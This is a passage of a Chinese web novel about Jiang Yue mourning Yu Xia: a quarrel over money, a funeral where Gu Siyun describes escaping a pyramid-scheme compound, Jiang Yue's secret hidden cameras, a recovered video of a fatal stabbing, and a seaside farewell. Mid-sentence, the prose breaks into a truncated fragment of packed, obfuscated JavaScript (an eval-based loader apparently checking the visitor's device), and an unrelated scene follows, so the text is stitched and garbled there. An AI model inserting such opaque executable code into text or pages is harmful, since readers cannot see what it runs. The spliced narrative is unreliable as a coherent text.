余知遇的脸色瞬间变得更加苍白,她握紧了拳头,指甲深深嵌进掌心,“你的钱都是余夏的,她还给了你多少钱,全都还给我们!” 江月笑出声,“我忘了,你脑子里没有法律这种东西,所以才去干传销这种违法的勾当,你觉得余夏的钱都是你的,那你报警啊,去告我啊,看你能拿到多少?说不定十万都没有吧!” 江月的话像一把锋利的刀,精准地戳中了她的痛处。 这些日子,她每天都活在煎熬中,亲戚朋友们交的课程费还没退款,一批又一批的人堵在她家门口,辱骂、威胁,甚至还有人动手推搡她。 有些根本不是她联系的客户,也跟着起哄,说她和邓博问是一伙的,要求她退钱。 她解释过,争辩过,可没人听她的。 她每天都在忙着应付这些烂事,焦头烂额,连喘口气的时间都没有。 “我们没去医院看她,不是因为不想去。”闻溪终于找回了自己的声音,声音带着哽咽,“我们是真的走不开。知遇她……她每天都被那些人缠着,我得陪着她,帮她挡着。” 她的眼眶红了,泪水在里面打转,却强忍着没有掉下来,“余夏是我们的亲人,我们怎么可能不想去送她最后一程?” 江月看着闻溪泛红的眼眶,眼神没有丝毫松动。“亲人?” 她冷笑一声,“如果你们真的把她当亲人,就不会让她孤零零地走。” 她的目光扫过两人,“这笔钱,你们拿着。从今往后,桥归桥,路归路。余夏的事,和你们再也没有关系。” 余知遇猛地夺过银行卡扔在地上,“谁要你的钱!” 她嘶吼着,声音里充满了绝望和愤怒,“江月,你根本不懂!你以为钱能解决所有问题吗?你永远都不会明白,我们和余夏之间是有血缘关系的,不是你这十万块就能买断的!” 江月的脸色沉了下来,她弯腰捡起银行卡,重新递到余知遇面前,“我不懂?” 她的声音冷得像冰,“我只知道,余夏活着的时候,你们没能好好照顾她,现在她死了,你们也不能去送她最后一程。这笔钱,是给你们的补偿,也是给余夏的一个了断。” 闻溪看着余知遇激动的样子,又看了看江月冷漠的神情,心里像打翻了五味瓶,酸甜苦辣一起涌上心头。 她知道,余知遇说的是对的,她们和余夏之间的血缘关系,不是金钱能够衡量的。 可她也清楚,她们现在的处境,根本没有资格拒绝这笔钱。 那些找上门来的债主,像一座大山压得她们喘不过气,她们需要钱来解决眼前的困境。 她拉了拉余知遇的胳膊,轻轻摇了摇头。 “知遇,算了。”她的声音很低,带着浓浓的无奈,“我们拿着钱吧,至少,我们可以用这笔钱来还债,摆脱现在的困境。余夏在天有灵,也不会怪我们的。” 余知遇看着闻溪泪流满面的样子,心里的防线渐渐崩塌。 她知道,闻溪说的是事实,她们现在已经走投无路了,如果再得不到这笔钱,她们可能真的会被那些亲戚朋友的唾沫星子给淹死。 以前说着带她们赚大钱,她们趋之若鹜,现在没钱了,就被她们弃如敝履,可这也怪不得谁,只能怪自己贪婪,怪人心易变,这就是人性。 她深吸一口气,接过江月手里的银行卡,银行卡的边角硌得她手心生疼。 / 上午的阳光倒是明媚,却像蒙上了一层薄纱,暖得不痛不痒,落在墓园的柏油路上,映出几抹疏淡的影子。 赵荷花和李晓霞已经在病房里和余夏道别完毕了,江月让她们不用再来殡仪馆送余夏了,以后有时间的话,自己还会回去找她们的。 江月站在殡仪馆门口,看见不远处走来三个人。 宁歌穿了件深灰色的长款风衣,领口别着一朵白色雏菊,衬得她本就白皙的肤色愈发清透。 她的头发简单地束在脑后,露出干净的眉眼,只是眼底藏着一丝不易察觉的沉郁。 林影跟在宁歌身侧,穿了件黑色针织衫,外面套着一件黑色短款羽绒服,身形瘦削。 她的脸色有些苍白,嘴唇抿得紧紧的,眼神里带着几分茫然和惋惜。 她没有说话,只是默默地站在宁歌旁边,双手交握在身前,指尖泛白,显然也为余夏的离世感到难过。 最引人注目的是宁歌身边的那位大小姐,她穿了一身剪裁利落的黑色西装套裙,内搭白色衬衫,脚下踩着一双黑色细高跟鞋,外面套着一件厚厚的长款黑色羽绒衣服。 她的头发烫成了利落的大波浪,随意地披散在肩头,五官精致明艳,尤其是一双眼睛,明亮锐利,带着几分桀骜不驯,她便是顾家大小姐,顾思韫。 顾思韫的目光扫过殡仪馆,不见哀伤和沉痛,只是新奇地看来看去,这几个人之间毫无血缘关系,却愿意在这大冷天来参加她的告别仪式,人和人之间的关系真是奇怪。 不过想到自己和宁歌、林影也不过是因为一起陷入过危难,竟然也能成为朋友,就觉得世界很奇妙。 “听说她活得挺不容易的。”她开口,声音清脆悦耳,却带着一丝漫不经心,“走了也好,解脱了。” 江月有些意外地看着顾思韫,宁歌说:“她非要来,就带她来了,你不用管她。” “没有的事。”江月的语气带着几分客气,“顾小姐,多谢你能来。” 顾思韫转过头,看向江月,“宁歌和林影是我的朋友,她们要来送朋友,我自然陪着。” 她问林影:“你妈还好吧?” 林影苦笑一下,说:“她好的不得了!那天她和自己的朋友都搭上顺风车回家了,害我被抓起来!” 她最近忙着从和张怀野同居的房子里搬出来,今天才有时间关心那晚之后的事,于是问她:“那你伯父的事情怎么样了?” 顾思韫皱起眉头,不悦道,“估计在监狱里头过年喽!不过他也算是自作自受,利用家里公司的公款投资什么山海疗愈心灵谷,以为能神不知鬼不觉,殊不知纸终究包不住火。” 她的眼神冷了下来,带着一丝厌恶,“家族里出了这样的老鼠屎,早晚得坏了一锅粥,我们家是做实业的命,妄想去别的行业分一杯羹就是自寻死路!我大伯就是活生生的例子。” “那你家里其他人怎么说啊?”宁歌问她。 顾思韫摆了摆手,一脸无所谓的样子,“家里其他人有什么好说的?”她的声音掷地有声,“他既然敢做,就要敢当。挪用公款,损害的是整个家族的利益,这样的人,留着也是个祸害。其余的人就能多一份分红的呀!其他的人自然是义愤填膺,大快人心呀!” “而且有了我大伯这个前车之鉴,以后家族成员们想要创业或者投资,都必须经过所有家族成员的同意,这样也挺好的,至少不会再有别的顾家人把自己给弄进监狱。” 她的神情坦然,没有丝毫对亲人的留恋,反而透着一种斩钉截铁的决绝,仿佛处置的不是自己的伯父,而是一个无关紧要的陌生人。 林影轻轻叹气,说:“自己的伯父进了监狱,你倒是心情好。” 顾思韫像是突然想起了什么,语气变得更加轻快起来,“对啊,我最近好事多的不得了!邓博问那家伙估计也要蹲好几十年的监狱吧!” 她抬手理了理耳边的碎发,语气里带着几分解气:“警察闯进去抓人的时候,他因为四处躲藏逃跑被警察敲晕倒地,我就在旁边捡起一根树枝,狠狠地敲了他一棍子。” 她说着,抬手做了一个挥棍的动作,手臂用力,眼神坚定,仿佛又回到了当时那个场景。 “他不是喜欢用棍子打人吗?我就让他也尝尝被棍子敲的滋味。” 她的神情坦然,没有丝毫的愧疚或后怕,反而像是做了一件大快人心的好事。 江月看着她,心里忽然觉得,或许人生就该这样,该断则断,该狠则狠,只有这样,才能活得洒脱自在。 等待遗体火化的间隙,墓园的暖阳斜斜地淌过走廊的玻璃窗,在水磨石地面上投下长条状的光斑,浮尘在光里轻轻舞动。 顾思韫靠在走廊的白色墙壁上,黑色西装裙的裙摆随着她的动作轻轻晃动,脚上的细高跟在地面敲出清脆的声响,与这沉静的氛围格格不入。 她脸上没有丝毫悲戚,反而眼睛亮晶晶的,带着几分讲冒险故事的兴奋,叽叽喳喳地说着那天从山海疗愈心灵谷逃出来的经过。 “你们是没瞧见那地方有多憋屈!”她抬手撩了撩耳边的大波浪卷发,神情里满是不屑,“跟个铁笼子似的,门窗都锁得死死的,就指望那几个傻大个保镖看着我们。” 她转头看向宁歌,眼底带着笑意,“还记得不?我踩着你肩膀,都快爬到通风口了,那破口子就够我一个人钻,正琢磨着怎么把你俩也弄出去,就听见门口那俩保镖嘀咕工钱的事儿。” 宁歌站在一旁,指尖轻轻摩挲着衣角,闻言点了点头,眼底闪过一丝后怕:“当时我心都提到嗓子眼了,就怕你爬上去被发现,还好那俩保镖光顾着说话,没注意头顶。” 林影也凑近了些,眼神里满是好奇,轻声问道:“他们具体说什么了?” “还能说什么,无非是没钱呗!”顾思韫嗤笑一声,学着保镖的语气,粗着嗓子说道,“一个说我都三个月没发工资了,我老婆说了,今天拿不到工资就别回家了,那语气,委屈得跟受了气的小媳妇似的。” 接着她又切换成另一个更粗犷的声调,“另一个就说我都半年没发工资了,不过我是单身汉,没关系,那叫一个嘴硬,我看他心里指不定多憋屈呢!” 她一边说,一边模仿着保镖的站姿,双手叉腰,脑袋微微耷拉着,活灵活现。 江月站在不远处,原本沉郁的脸上也掠过一丝淡淡的好奇,目光落在顾思韫身上。 “然后呢?”江月追问。 “然后啊,”顾思韫收敛了模仿的姿态,眼神里闪过一丝狡黠,“有老婆的保镖就说要不要一起去问问,单身汉保镖立马怂了,说之前有人问过,还被打了一顿,我不敢。有老婆的保镖也怕了,嘟囔着我也不敢,可我也不想被老婆赶出家门,那纠结的样子,我在上面都快笑出声了。” 她说到这里,抬手拍了拍胸脯,语气里带着几分得意:“我当时一听,这不就是机会嘛!立马对着他们说我给你们钱!放我们出去!” “那他们没立马把你抓起来?”江月忍不住开口问道,语气里带着几分讶异。 “怎么可能,没人能抵挡得住金钱的诱惑!”顾思韫挑了挑眉,眼神里满是自信,“那个单身汉保镖确实想按对讲机喊人,手都碰到按钮了,结果有老婆的保镖一把按住他,问我能给多少钱,你看,还是钱管用!” 她回忆起当时的场景,嘴角的笑意更深了:“我就问他你三个月工资多少钱,那家伙眼珠子一转,他居然说五万!我心想,这小子还挺敢狮子大开口,不过没关系,有钱能使鬼推磨,我直接说我给你十万,打开门放我们走。” “他就答应了?”江月问道,眼底带着几分不可思议。 “当然没有!”顾思韫摆了摆手,“他还挺谨慎,说现在转账,我就说可以,把我们的手机拿过来。那单身汉保镖不情不愿地去别的地方把我们的手机拿了过来,不过我只给有老婆的保镖转了三万,说剩下的出去再转。” 她说到这里,嗤笑一声,语气里带着几分嘲讽:“结果那单身汉保镖不乐意了,嚷嚷着也给我转一点钱,我看他那没骨气的样子,就只转了一万。他立马不服气了,跳着脚说怎么只有一万,我当时就怼他说第一个吃螃蟹的才是英雄,你这个墙头草,有一万都不错了,说得他哑口无言,脸都憋红了,别提多解气了!” “后来你们就顺利出去了?”江月问道。 “那可不!”顾思韫拍了下手,语气里带着几分庆幸,“那有老婆的保镖拿到钱,立马就把门锁打开了,我们一路跑到停车场,刚坐上车,就听见警笛声呜呜地响,越来越近,转头一看,警车直接冲进了心灵谷的大门。” 她说到这里,眼神里闪过一丝快意:“后来我才知道,警察早就盯上那个传销窝点了,就等着收网呢!我真是命好,就算当时没逃出来,警察也会来救我们。不过嘛,靠自己逃出来,感觉更爽!” 江月听着顾思韫眉飞色舞地讲述逃生经历,嘴角缓缓勾起一抹极淡的笑意,那笑意浅得如同水面的涟漪,转瞬即逝。 她抬手,指尖轻轻拂过黑色羊绒大衣的袖口,动作舒缓而平静,仿佛顾思韫口中的惊险与自己毫无关联。 只有她自己知道,那声划破天际的警笛,并非是天降神兵,而是她犹豫再三后,亲手按下的报警键。 思绪不自觉地飘回了几周前,那时她已察觉山海疗愈心灵谷的诡异,表面的宁静祥和下,藏着不可告人的龌龊。 她趁着和赵荷花再次去打扫的机会,悄悄返回了那栋隐蔽的小楼,怀里揣着事先准备好的几个针孔摄像机。 那机器小巧得能握在掌心,镜头就藏在一枚仿真叶片后,不易察觉。 她记得邓博问曾得意洋洋地炫耀过那盆重金求来的发财树,说是什么“招财进宝”的宝物,叫大师开过光的,让人放在小楼的各个室内空间,从未有人敢随意挪动。 江月当时便算准了这一点,趁着无人注意,将那些“叶片”稳稳嵌进了发财树顶端的枝桠间,叶片的纹路与周围的绿植完美融合,不仔细看,根本发现不了异样。 当时的邓博问无比看重财运,却不知这些所谓的发财树,终将成为送他入狱的铁证。 “小月妹妹,你在想什么呢?”顾思韫的声音将她拉回现实,大小姐正挑眉看着她,眼神里满是好奇,“是不是觉得我特厉害?” 江月收回思绪,摇了摇头,脸上的笑意温和了些:“确实厉害,能从那种地方逃出来,不容易。” 她的声音轻柔,却带着一丝不易察觉的感慨。 其实在摄像头传回的画面里,她亲眼看到了宁歌和顾思韫被强行带走的场景。 那一刻,她的心脏像是被什么东西攥了一下,不是担忧,而是一种近乎隐秘的快意。 她恨宁歌,恨她拥有自己姐姐渴望却得不到的一切,恨她的存在时时刻刻提醒着自己失去的痛楚。 假借邓博问之手除掉宁歌,这曾是她藏在心底最阴暗的念头,几乎要破土而出。 直到画面里还出现了林影的身影,那个总是安安静静、热衷做菜的人,被推搡着关进了同一间屋子。 江月看着监控视频里三个原本毫无交集的女孩,在绝境中彼此扶持,用简陋的工具试图撬开窗户,用坚定的眼神互相鼓励,那一刻,她心底的坚冰似乎有了一丝裂痕。 更让她动容的,是余夏。 她看到余夏躺在床上苍白无力的样子,她的眼神里没有绝望,反而满是对外面世界的留恋和贪慕。 她会对着天空悄悄许愿,说还想再跟江月出去逛逛,说想看看春天的花,夏天的海,说想好好活着。 那些细碎的、卑微的愿望,像一根根细针,扎进了江月的心里。 她看着屏幕里三个女孩齐心协力搬动重物撞击门板,看着她们即使满身狼狈,眼神里却依旧燃烧着对生命的渴望。 那一刻,她心底的阴暗念头如同退潮的海水,渐渐消散。 她在心里对着姐姐的遗像默默说了声“对不起”,对不起,她终究还是做不到那样残忍,对不起,她还是选择了放过她们。 江月顿了顿,终究还是没有说出真相,只是补充道,“警察能及时赶到,也是你们运气好,或许,也是余夏在天有灵,想让你们好好活着。” 顾思韫眨了眨眼,没多想,笑着说道:“肯定是!余夏那么好的人,肯定在保佑我们。” 江月没有反驳,只是看着她,眼神里带着几分复杂的情绪。 阳光依旧温暖,透过玻璃窗落在她的脸上,将她眼底的愧疚和释然映照得格外清晰。 她知道,自己做了一个正确的选择。 虽然那段阴暗的过往无法抹去,但她终究还是从道德的沼泽中挣脱了出来。 / 这时,工作人员走了过来,轻声说道:“家属您好,余夏的骨灰已经准备好了。” 江月点了点头,深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她避开江月的目光,轻轻摇了摇头:“没有,当年的事对我来说也是巨大的冲击,我没特意留着。”她的声音有些干涩,下意识地攥紧了衣角。 “我也没有,当年那件事情之后我也马上出国了。”林影看了一眼宁歌,眼神里却带着一丝狐疑。 宁歌的脸颊微微泛红,眼神有些躲闪,显然是在隐瞒着什么,林影没有多问,只是将那份疑惑藏在了心底。 江月的眼神暗了暗,眼底的光亮像是被风吹灭的烛火,瞬间黯淡了许多。 她低下头,看着骨灰盒,轻声说道:“是吗……那真是太可惜了。”语气里满是失落,让人心疼。 几人告别之后,江月捧着余夏的骨灰盒,独自一人走向停车场。 夕阳将她的背影拉得很长,显得格外孤单,却又带着一种义无反顾的坚定。 / 回到家,林影径直走进书房,打开了电脑。她坐在椅子上,手指在键盘上快速敲击着,点开了自己的私人邮箱。 邮箱深处,躺着一封尘封已久的邮件,发件人是自己曾经的好友,问视频里那个拿着刀四处乱扔的人是不是她,邮件里附着一个视频文件——正是当年那件事的监控录像。 林影的手指悬在鼠标上,犹豫了片刻,最终还是点开了视频。 画面有些模糊,却能清晰地看到当年的场景。 视频里,当年的林影、宁歌和余夏相向而行,各自独自走在小商业街的前坪。 正是中午时分,大多数人都在吃饭,街上没几个人。 突然,一个穿着黑色连帽衫的男人从巷子里冲了出来,手里握着一把明晃晃的刀,眼神凶狠,将路过自己身边的一位拎着菜篮的妇女狠狠地划了一刀! 鲜血很快从妇女的胳膊上流下来,她没反应过来,对那个男人破口大骂,“你神经病啊?怎么无缘无故伤人啊?” 妇女骂了几句,看到那个男人神色麻木,还带着一丝诡异的微笑,以为对方脑子真的有病,于是捂着伤口匆匆离开了。 男人朝着宁歌三人的方向跑来,毫无防备的三人吓得脸色惨白,瞬间四散而逃。 宁歌反应极快,毫不犹豫地脱下脚上的高跟鞋,朝着杀人犯狠狠砸了过去。 林影则迅速从随身的包里翻出几把刀具——那是她用来练习刀工的,此刻却成了防身的武器。 她握着刀具,朝着杀人犯用力扔了过去,一把、两把,有几把刀精准地砸中了对方的胳膊,留下了淡淡的血痕。 杀人犯被激怒了,放弃了追赶宁歌,转头朝着林影冲了过来。 林影吓得连连后退,脚步踉跄。 就在这危急时刻,余夏从街边一家小商店门口抄起一个铁质的撮箕,毫不犹豫地冲了上去,趁着那个男人不备,用尽全力将撮箕砸在对方背上,又顺势一掀,将杀人犯狠狠掀翻在地。 画面里,余夏的脸上满是惊慌,却依旧死死地按住撮箕,不让杀人犯爬起来。 林影看着视频里勇敢的余夏,眼眶忍不住红了。 就在这时,一个身影出现在画面里——是洛南。 她提着一个蛋糕盒子,身上穿着一条漂亮的裙子,脚上是一双极具艺术性的鞋子,鞋带松散地系着,透着几分随性的美感。 洛南显然是路过,看到眼前的景象,吓得魂飞魄散,脸色瞬间变得惨白,双腿像灌了铅一样,迈不动步伐,只是呆呆地站在原地。 杀人犯挣扎着从地上爬起来,一眼就看到了动弹不得的洛南,眼中闪过一丝狠厉,朝着她冲了过去。 洛南吓得尖叫起来,想要逃跑,却不小心踩到了自己松散的鞋带,身体失去平衡,重重地摔倒在地。 那个男人趁机扑了上去,手中的刀毫不犹豫地插进了洛南的胸口。 鲜血瞬间染红了洛南的裙子,也染红了地面。 画面里,余夏和宁歌都惊呆了,林影更是吓得浑身发抖。 视频到这里戛然而止。 林影猛地合上电脑,胸口剧烈地起伏着,脸上满是震惊和后怕。 她终于明白,为什么宁歌说没有当年的视频了。 江月一直以为姐姐是无辜被害,一直惦记着姐姐有没有穿自己送的鞋子。 可如果让她看到这段视频,看到余夏为了保护大家而与杀人犯搏斗,看到洛南因为踩到自己送的鞋子的鞋带而摔倒身亡,江月一定会陷入无尽的自责和痛苦,甚至可能会觉得是自己送的鞋子害死了洛南,害死了自己最爱的姐姐,说不定真的会结束自己的生命。 宁歌是在保护江月,用一个谎言,守护着江月仅存的念想和好不容易才生长起来的活下去的勇气。 林影靠在椅子上,深深吸了一口气,眼神里满是复杂。 这个秘密,或许会成为她们心中永远的枷锁,但为了江月,为了余夏的在天之灵,她也必须守护下去。 / 黎明刚过,海风带着咸湿的凉意,漫过细软的沙滩。 天是澄澈的淡蓝,像被水洗过一般,没有一丝杂云,远处的海平面与天际线交融成一条温柔的弧线,泛着朦胧的银白。 湛蓝的海水一遍遍涌上沙滩,卷来细碎的贝壳与浪花,又轻轻退去,在沙地上留下深浅不一的水痕。 晨光渐渐爬上云层,洒下金红色的光斑,落在海面上,波光粼粼,如同碎金撒落。 几只海鸥舒展着翅膀,在低空盘旋,发出清脆的鸣叫声,划破了海边的宁静。 空气里弥漫着海水的咸腥与湿润的热带气息,深吸一口,沁人心脾。 江月穿着一件米白色的棉麻长裙,裙摆被海风轻轻吹动,贴在她纤细的腿上。 她的脸色好了许多,透着一丝健康的粉色,眼底的沉郁也消散了大半,取而代之的是一种平静的光亮。 她捧着那个米白色的骨灰盒,轻轻坐在一块光滑的礁石上,礁石被海水冲刷得温润如玉,带着一丝微凉。 “小夏姐,你看,”江月的声音轻柔,带着一丝笑意,目光望向远方的大海,“我们到海边了。” 她顿了顿,指尖轻轻摩挲着骨灰盒上的缠枝莲纹,“你以前总说,想看看真正的大海,想听听海浪的声音,现在,你听到了吗?” 海浪拍打着礁石,发出“哗哗”的声响,像是在回应她的话语。 江月的嘴角扬起一抹温柔的笑容,那笑容里没有了之前的苦涩,多了几分释然与期待。 她伸出手指,指向远方,“你看,太阳快出来了。” 话音刚落,远处的海平面上,一轮红日缓缓升起,金色的光芒瞬间铺满海面,染红了半边天空。 江月的脸上被镀上了一层金红色的光晕,显得格外温柔。 她侧过头,看着骨灰盒,像是在与余夏分享这壮丽的景色:“你看,多美啊。” “小夏姐,”江月的声音带着一丝哽咽,却依旧坚定,“我知道,你一直想好好活着,想看看这个世界的美好。以后,我会带着你,去看遍山川湖海,去体验不同的风土人情。我们要一起去雪山,看皑皑白雪;一起去草原,看成群的牛羊;一起去古镇,看青石板路与小桥流水。我们要一起完成你写的一万件事。” 她将骨灰盒轻轻抱在怀里,脸颊贴在上面,感受着那份微凉的触感,像是余夏在回应她的拥抱。